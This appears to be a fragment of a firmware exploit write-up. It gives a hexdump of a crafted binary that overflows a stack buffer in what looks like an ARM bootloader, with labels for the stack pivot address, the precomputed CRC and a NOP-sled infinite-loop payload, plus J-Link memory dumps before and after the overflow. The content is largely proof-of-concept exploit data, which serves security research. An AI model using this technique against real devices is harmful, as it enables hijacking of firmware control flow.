

Example Infinite Loop Payload

Invalid Primary Header

```
$ hexdump -C workingloop.bin
00000000 50 70 00 20 00 00 00 20 00 00 eb 00 a5 a8 66 00 |Pp. ... .....f.|
00000010 00 00 aa 11 01 00 01 40 07 aa 4e ff ff ff ff ff |.....@..N.....|
00000020 31 31 33 33 31 31 33 33 31 31 33 33 31 31 33 33 |1133113311331133|
*
00001100 00 00 c0 84 00 20 00 aa bb cc a5 a8 66 00 00 00 |.....f...|
00001110 0b 00 04 20 01 00 07 24 24 24 24 24 00 bf 00 bf |...$$$$.|
00001120 00 bf 00 bf 00 bf 00 bf 00 bf 00 bf 00 bf fe e7 |.....|
00001130 00 04 f1 a0 47 80 33 33 31 31 33 33 31 31 33 33 |....G.3311331133|
00001140 31 31 33 33 31 31 33 33 31 31 33 33 31 31 33 33 |1133113311331133|
*
00004140 31 31 33 33 31 31 33 7f 0b 31 33 33 31 31 33 33 |1133113..1331133|
00004150 31 31 33 33 31 31 33 33 31 31 33 33 31 31 33 33 |1133113311331133|
*
0000ccb0 31 31 33 33 31 31 33 33 31 31 33 9c 87 31 33 33 |11331133113..133|
0000ccc0 31 31 33 33 31 31 33 33 31 31 33 33 31 31 33 33 |1133113311331133|
*
```

Infinite Loop Payload

Stack Pivot Address

Backup CRC

Pre-Computed CRC


```
J-Link>setbp 0x1082 <--- vulnerable call
Breakpoint set @ addr 0x00001082 (Handle = 2)
J-Link>go
```

```
CPU is halted (PC = 0x00001082).
J-Link>regs
PC = 00001082, CycleCnt = 00EAAFB6
R0 = 2003FEDC, R1 = 00003149, R2 = 00003149, R3 = 2003FEDC
R4 = 00000000, R5 = 00000000, R6 = 00000000, R7 = 2003FED0
R8 = 9220C050, R9 = D08C106E, R10= 20030000, R11= 00000000
R12= ABA08801
SP(R13)= 2003FED0, MSP= 2003FED0, PSP= 00000000, R14(LR) = 00001F3F
```

Before Overflow

```
J-Link>mem32 2003FED0,0x100
2003FED0 = 2003C944 2003C954 4EE54BA6 33333131
2003FEE0 = 33333131 33333131 33333131 33333131
2003FEF0 = 33333131 33333131 33333131 33333131
2003FF00 = 33333131 33333131 33333131 33333131
2003FF10 = 33333131 33333131 33333131 33333131
2003FF20 = 33333131 33333131 33333131 33333131
2003FF30 = 33333131 33333131 33333131 33333131
2003FF40 = 33333131 33333131 33333131 33333131
2003FF50 = 33333131 33333131 33333131 33333131
2003FF60 = 33333131 33333131 33333131 33333131
2003FF70 = 33333131 33333131 33333131 10333131
2003FF80 = 33333131 2003FF88 2003FFB0 FFFFFFFB8
2003FF90 = 00000001 E000E100 00010000 00000001
2003FFA0 = ABA08801 000025DB 000026BE 29000000
2003FFB0 = 00010000 2003C954 ABA08801 006025DB
2003FFC0 = 2003FFC8 00002863 2003FFF0 2003C954
2003FFD0 = 00000001 00000000 00010000 31310001
2003FFE0 = ABA08801 01003147 2003FFF0 000017D9
2003FFF0 = 00000000 00000000 00000000 000001BB
20040000 = BF00BF00 BF00BF00 E7FEBF00 A0F10400
20040010 = 33338047 33333131 33333131 33333131
```

Original Return



After Overflow

```
J-Link>mem32 2003FED0,0x100
2003FED0 = 2003C944 2003C954 4EE54BA6 33333131
2003FEE0 = 33333131 33333131 33333131 33333131
2003FEF0 = 33333131 33333131 33333131 33333131
2003FF00 = 33333131 33333131 33333131 33333131
2003FF10 = 33333131 33333131 33333131 33333131
2003FF20 = 33333131 33333131 33333131 33333131
2003FF30 = 33333131 33333131 33333131 33333131
2003FF40 = 33333131 33333131 33333131 33333131
2003FF50 = 33333131 33333131 33333131 33333131
2003FF60 = 33333131 33333131 33333131 33333131
2003FF70 = 33333131 33333131 33333131 33333131
2003FF80 = 33333131 33333131 33333131 33333131
2003FF90 = 33333131 33333131 33333131 33333131
2003FFA0 = 33333131 33333131 33333131 33333131
2003FFB0 = 33333131 33333131 33333131 33333131
2003FFC0 = 33333131 33333131 33333131 33333131
2003FFD0 = 33333131 33333131 33333131 84C00000
2003FFE0 = AA002000 A8A5CCBB 00000066 2004000B
2003FFF0 = 24070001 24242424 BF00BF00 BF00BF00
20040000 = BF00BF00 BF00BF00 E7FEBF00 A0F10400
20040010 = 33338047 33333131 33333131 33333131
```

Payload Return